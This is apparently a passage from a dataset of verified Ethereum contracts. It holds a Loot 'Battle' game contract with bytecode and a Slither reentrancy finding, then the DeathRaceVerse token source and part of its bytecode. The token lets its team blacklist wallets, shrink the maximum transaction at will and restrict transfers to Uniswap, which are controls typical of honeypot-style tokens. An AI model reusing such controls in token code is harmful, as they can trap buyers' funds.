function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// Part: OpenZeppelin/[email protected]/Ownable
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Battle.sol
/**
* Implements battles between Loot weapon holders.
*
* The battle is a simple tug-of-war in which people can enlist to support
* either side. Each weapon contributes a "power" score that amplifies the
* strength of their side. At the end of the battle, the side with more power wins.
*
* A given warrior (address) can only participate in any individual battle once.
* In practice, some people might run multiple warriors via separate addresses,
* but our setup discourages this practice.
* Similarly, each weapon can only be used once in a given battle.
*
* We record the power of the weapon _at the time it is used_; upgrades to the
* weapon will have no effect on battles that weapon is currently in.
*
* Once a warrior and weapon are committed, there is no turning back, retreating,
* or switching sides. This simplifies the state tracking.
*
* Weapon power computation is abstracted behind an IPowerCalculator, which
* allows the possibility of re-balancing the game without needing to change
* this contract.
* Similarly, the distribution of battle rewards (XP) is handled through an
* IBattleRewarder, so we can tweak the XP reward mechanics without redeploying
* this contract.
*
* There is support for a v2 loot weapon contract; once we deploy it we can
* add the new contract address. Since all weapon stat calculation is abstracted
* behind the IPowerCalculator, from the perspective of this contract we only
* know that the loot weapons are ERC-721s and we check that warriors actually
* own them.
*/
contract Battle is Ownable {
uint256 constant ATTACKER_SIDE = 1;
uint256 constant DEFENDER_SIDE = 2;
IERC721 public weaponContractV1 =
IERC721(0x0ac0ECc6D249F1383c5C7c2Ff4941Bd56DEcDd14);
IERC721 public weaponContractV2;
mapping(uint256 => BattleInfo) public idToBattleInfo;
mapping(uint256 => mapping(uint256 => bool))
public battleIdToWeaponEnlisted;
mapping(uint256 => mapping(address => WarriorInfo))
public battleIdToWarriorInfo;
event BattleStarted(
uint256 indexed battleId,
uint256 duration,
uint256 endTimestamp
);
event WarriorEnlisted(
uint256 indexed battleId,
address indexed warrior,
uint256 indexed weaponId,
uint256 side,
uint256 power
);
event BattleRewarderChanged(IBattleRewarder newRewarder);
event PowerCalculatorChanged(IPowerCalculator newCalculator);
IBattleRewarder public battleRewarder;
IPowerCalculator public powerCalculator;
uint256 public nextBattleId;
// Start w/ 5 min duration, we can increase it after testing
uint256 public minBattleDuration = 300;
function setBattleRewarder(IBattleRewarder newRewarder) public onlyOwner {
battleRewarder = newRewarder;
emit BattleRewarderChanged(newRewarder);
}
function setPowerCalculator(IPowerCalculator newCalculator)
public
onlyOwner
{
powerCalculator = newCalculator;
emit PowerCalculatorChanged(newCalculator);
}
function setV2ContractAddress(IERC721 newV2Contract) public onlyOwner {
weaponContractV2 = newV2Contract;
}
function changeMinBattleDuration(uint256 newDuration) public onlyOwner {
require(newDuration > 0, "duration may not be 0");
minBattleDuration = newDuration;
}
function startBattle(uint256 duration) public returns (uint256) {
require(duration >= minBattleDuration, "battle too short");
uint256 endTimestamp = block.timestamp + duration;
idToBattleInfo[nextBattleId].endTimestamp = endTimestamp;
idToBattleInfo[nextBattleId].duration = duration;
emit BattleStarted(nextBattleId, duration, endTimestamp);
nextBattleId++;
return nextBattleId - 1;
}
function enlist(
uint256 battleId,
uint256 side,
uint256 weaponId
) public {
bool ownsV1 = weaponContractV1.ownerOf(weaponId) == msg.sender;
bool ownsV2 = address(weaponContractV2) != address(0) &&
weaponContractV2.ownerOf(weaponId) == msg.sender;
require(ownsV1 || ownsV2, "must own weapon");
uint256 endTimestamp = idToBattleInfo[battleId].endTimestamp;
require(endTimestamp != 0, "battle must exist");
require(block.timestamp < endTimestamp, "too late for battle");
require(!battleIdToWeaponEnlisted[battleId][weaponId], "weapon in use");
require(
battleIdToWarriorInfo[battleId][msg.sender].side == 0,
"warrior in battle"
);
require(
side == ATTACKER_SIDE || side == DEFENDER_SIDE,
"no bystanders!"
);
uint256 power = powerCalculator.calculatePower(weaponId);
battleIdToWarriorInfo[battleId][msg.sender] = WarriorInfo(power, side);
battleIdToWeaponEnlisted[battleId][weaponId] = true;
if (side == ATTACKER_SIDE) {
idToBattleInfo[battleId].attackerPower += power;
} else {
idToBattleInfo[battleId].defenderPower += power;
}
idToBattleInfo[battleId].numWarriors++;
emit WarriorEnlisted(battleId, msg.sender, weaponId, side, power);
}
}
|
0x608060405234801561001057600080fd5b50600436106101155760003560e01c80638da5cb5b116100a2578063a9f59f2211610071578063a9f59f2214610212578063ba2ec0d714610225578063bfd9239e1461022d578063c555885f1461024e578063f2fde38b1461025657610115565b80638da5cb5b146101e75780638e6807f8146101ef57806395d6170214610202578063982105e01461020a57610115565b8063715018a6116100e9578063715018a61461018057806373cd4c4d14610188578063749fa75b146101ac5780637884b979146101bf5780637b4f6d92146101d457610115565b80620971c21461011a57806331a6ff661461012f57806340455d271461014d5780634058a7ed14610160575b600080fd5b61012d610128366004610b4e565b610269565b005b6101376102d6565b6040516101449190610de7565b60405180910390f35b61012d61015b366004610b16565b6102dc565b61017361016e366004610bad565b610371565b6040516101449190610c0d565b61012d610391565b61019b610196366004610b4e565b61041a565b604051610144959493929190610dfe565b61012d6101ba366004610b16565b61044a565b6101c76104d4565b6040516101449190610bf9565b61012d6101e2366004610b16565b6104e3565b6101c7610544565b6101376101fd366004610b4e565b610553565b6101c7610616565b610137610625565b61012d610220366004610bce565b61062b565b6101c7610a10565b61024061023b366004610b7e565b610a1f565b604051610144929190610df0565b6101c7610a43565b61012d610264366004610b16565b610a52565b610271610b12565b6001600160a01b0316610282610544565b6001600160a01b0316146102b15760405162461bcd60e51b81526004016102a890610d09565b60405180910390fd5b600081116102d15760405162461bcd60e51b81526004016102a890610cda565b600955565b60085481565b6102e4610b12565b6001600160a01b03166102f5610544565b6001600160a01b03161461031b5760405162461bcd60e51b81526004016102a890610d09565b600680546001600160a01b0319166001600160a01b0383161790556040517f94b19defae89e79fdfef081cdafac13b6b187098ce1d321c1050d6b446843fbb90610366908390610bf9565b60405180910390a150565b600460209081526000928352604080842090915290825290205460ff1681565b610399610b12565b6001600160a01b03166103aa610544565b6001600160a01b0316146103d05760405162461bcd60e51b81526004016102a890610d09565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60036020819052600091825260409091208054600182015460028301549383015460049093015491939092909185565b610452610b12565b6001600160a01b0316610463610544565b6001600160a01b0316146104895760405162461bcd60e51b81526004016102a890610d09565b600780546001600160a01b0319166001600160a01b0383161790556040517fa6785a8daa814d4b6690cdc1ac026ab273c6ba1d331fa016c09ce776f4ffebf590610366908390610bf9565b6001546001600160a01b031681565b6104eb610b12565b6001600160a01b03166104fc610544565b6001600160a01b0316146105225760405162461bcd60e51b81526004016102a890610d09565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031690565b60006009548210156105775760405162461bcd60e51b81526004016102a890610dbd565b60006105838342610e21565b600880546000908152600360208190526040808320909101849055825482529081902060020186905590549051919250907f5c1ce71ae6c3eb50b41231fe5991c4de20d0c55b7f4b6dec220b3b2da664c427906105e39086908590610df0565b60405180910390a2600880549060006105fb83610e50565b9190505550600160085461060f9190610e39565b9392505050565b6007546001600160a01b031681565b60095481565b6001546040516331a9108f60e11b815260009133916001600160a01b0390911690636352211e90610660908690600401610de7565b60206040518083038186803b15801561067857600080fd5b505afa15801561068c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b09190610b32565b6002546001600160a01b03918216929092149250600091161580159061075c57506002546040516331a9108f60e11b815233916001600160a01b031690636352211e90610701908790600401610de7565b60206040518083038186803b15801561071957600080fd5b505afa15801561072d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107519190610b32565b6001600160a01b0316145b905081806107675750805b6107835760405162461bcd60e51b81526004016102a890610d94565b60008581526003602081905260409091200154806107b35760405162461bcd60e51b81526004016102a890610d3e565b8042106107d25760405162461bcd60e51b81526004016102a890610c85565b600086815260046020908152604080832087845290915290205460ff161561080c5760405162461bcd60e51b81526004016102a890610c5e565b6000868152600560209081526040808320338452909152902060010154156108465760405162461bcd60e51b81526004016102a890610d69565b60018514806108555750600285145b6108715760405162461bcd60e51b81526004016102a890610cb2565b600754604051631a46b9b160e11b81526000916001600160a01b03169063348d7362906108a2908890600401610de7565b602060405180830381600087803b1580156108bc57600080fd5b505af11580156108d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f49190610b66565b60408051808201825282815260208082018a815260008c81526005835284812033825283528481209351845590516001938401558b8152600482528381208a825290915291909120805460ff19168217905590915086141561097c5760008781526003602052604081206001018054839290610971908490610e21565b909155506109a09050565b6000878152600360205260408120805483929061099a908490610e21565b90915550505b60008781526003602052604081206004018054916109bd83610e50565b919050555084336001600160a01b0316887f4172421942f0c35e22778b610655320345d5514da0625b2ba9aad866caaa4a1b89856040516109ff929190610df0565b60405180910390a450505050505050565b6002546001600160a01b031681565b60056020908152600092835260408084209091529082529020805460019091015482565b6006546001600160a01b031681565b610a5a610b12565b6001600160a01b0316610a6b610544565b6001600160a01b031614610a915760405162461bcd60e51b81526004016102a890610d09565b6001600160a01b038116610ab75760405162461bcd60e51b81526004016102a890610c18565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b600060208284031215610b27578081fd5b813561060f81610e81565b600060208284031215610b43578081fd5b815161060f81610e81565b600060208284031215610b5f578081fd5b5035919050565b600060208284031215610b77578081fd5b5051919050565b60008060408385031215610b90578081fd5b823591506020830135610ba281610e81565b809150509250929050565b60008060408385031215610bbf578182fd5b50508035926020909101359150565b600080600060608486031215610be2578081fd5b505081359360208301359350604090920135919050565b6001600160a01b0391909116815260200190565b901515815260200190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252600d908201526c776561706f6e20696e2075736560981b604082015260600190565b602080825260139082015272746f6f206c61746520666f7220626174746c6560681b604082015260600190565b6020808252600e908201526d6e6f2062797374616e646572732160901b604082015260600190565b60208082526015908201527406475726174696f6e206d6179206e6f74206265203605c1b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526011908201527018985d1d1b19481b5d5cdd08195e1a5cdd607a1b604082015260600190565b60208082526011908201527077617272696f7220696e20626174746c6560781b604082015260600190565b6020808252600f908201526e36bab9ba1037bbb7103bb2b0b837b760891b604082015260600190565b60208082526010908201526f18985d1d1b19481d1bdbc81cda1bdc9d60821b604082015260600190565b90815260200190565b918252602082015260400190565b948552602085019390935260408401919091526060830152608082015260a00190565b60008219821115610e3457610e34610e6b565b500190565b600082821015610e4b57610e4b610e6b565b500390565b6000600019821415610e6457610e64610e6b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610e9657600080fd5b5056fea2646970667358221220fc7bdcd4abab274538ab0a41fc3c35802ae9f827572909110b40def211a31ddd64736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 2,637 |
0xe4603ac3fd1ad44c73f3279c4ef39038e3e754d7
|
/*
Death Race Verse
https://t.me/DeathRaceVerse
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DeathRaceVerse is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "@DeathRaceVerse";
string private constant _symbol = "DRV";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping (address => bool) bannedUsers;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _redisfee = 4;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _redisfee == 0) return;
_taxFee = 0;
_redisfee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_redisfee = 4;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (120 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function blockbot(address account, bool banned) public {
require(_msgSender() == _teamAddress);
if (banned) {
require( block.timestamp + 3650 days > block.timestamp, "x");
bannedUsers[account] = true;
} else {
delete bannedUsers[account];
}
emit WalletBanStatusUpdated(account, banned);
}
function unban(address account) public {
require(_msgSender() == _teamAddress);
bannedUsers[account] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function maxTx(uint256 maxTxPercent) external {
require(_msgSender() == _teamAddress);
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**5);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _redisfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
event WalletBanStatusUpdated(address user, bool banned);
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610315578063b9f1455714610335578063c3c8cd8014610355578063dd62ed3e1461036a578063f77c49ab146103b057600080fd5b8063715018a61461026c5780638da5cb5b1461028157806395d89b41146102a9578063a6e02d64146102d5578063a9059cbb146102f557600080fd5b8063293230b8116100e7578063293230b8146101e4578063313ce567146101fb5780635932ead1146102175780636fc3eaec1461023757806370a082311461024c57600080fd5b806306fdde0314610124578063095ea7b31461016e57806318160ddd1461019e57806323b872dd146101c457600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600f81526e40446561746852616365566572736560881b60208201525b6040516101659190611b30565b60405180910390f35b34801561017a57600080fd5b5061018e6101893660046119c1565b6103d0565b6040519015158152602001610165565b3480156101aa57600080fd5b5068056bc75e2d631000005b604051908152602001610165565b3480156101d057600080fd5b5061018e6101df366004611954565b6103e7565b3480156101f057600080fd5b506101f9610450565b005b34801561020757600080fd5b5060405160098152602001610165565b34801561022357600080fd5b506101f9610232366004611ab3565b610821565b34801561024357600080fd5b506101f9610869565b34801561025857600080fd5b506101b66102673660046118e4565b610896565b34801561027857600080fd5b506101f96108b8565b34801561028d57600080fd5b506000546040516001600160a01b039091168152602001610165565b3480156102b557600080fd5b5060408051808201909152600381526222292b60e91b6020820152610158565b3480156102e157600080fd5b506101f96102f0366004611994565b61092c565b34801561030157600080fd5b5061018e6103103660046119c1565b610a22565b34801561032157600080fd5b506101f96103303660046119ec565b610a2f565b34801561034157600080fd5b506101f96103503660046118e4565b610acf565b34801561036157600080fd5b506101f9610b10565b34801561037657600080fd5b506101b661038536600461191c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103bc57600080fd5b506101f96103cb366004611aeb565b610b46565b60006103dd338484610c11565b5060015b92915050565b60006103f4848484610d35565b610446843361044185604051806060016040528060288152602001611d01602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611147565b610c11565b5060019392505050565b6000546001600160a01b031633146104835760405162461bcd60e51b815260040161047a90611b83565b60405180910390fd5b601054600160a01b900460ff16156104dd5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047a565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561051a308268056bc75e2d63100000610c11565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561055357600080fd5b505afa158015610567573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061058b9190611900565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156105d357600080fd5b505afa1580156105e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060b9190611900565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561065357600080fd5b505af1158015610667573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068b9190611900565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d71947306106bb81610896565b6000806106d06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561073357600080fd5b505af1158015610747573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061076c9190611b03565b50506010805468056bc75e2d6310000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156107e557600080fd5b505af11580156107f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081d9190611acf565b5050565b6000546001600160a01b0316331461084b5760405162461bcd60e51b815260040161047a90611b83565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461088957600080fd5b4761089381611181565b50565b6001600160a01b0381166000908152600260205260408120546103e190611206565b6000546001600160a01b031633146108e25760405162461bcd60e51b815260040161047a90611b83565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b03161461094c57600080fd5b80156109ba5742610961816312cc0300611c28565b116109925760405162461bcd60e51b81526020600482015260016024820152600f60fb1b604482015260640161047a565b6001600160a01b0382166000908152600660205260409020805460ff191660011790556109db565b6001600160a01b0382166000908152600660205260409020805460ff191690555b604080516001600160a01b038416815282151560208201527ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d910160405180910390a15050565b60006103dd338484610d35565b6000546001600160a01b03163314610a595760405162461bcd60e51b815260040161047a90611b83565b60005b815181101561081d576001600b6000848481518110610a8b57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610ac781611c96565b915050610a5c565b600d546001600160a01b0316336001600160a01b031614610aef57600080fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b600d546001600160a01b0316336001600160a01b031614610b3057600080fd5b6000610b3b30610896565b90506108938161128a565b600d546001600160a01b0316336001600160a01b031614610b6657600080fd5b60008111610bb65760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161047a565b610bd6620186a0610bd068056bc75e2d631000008461142f565b906114ae565b60118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610c735760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f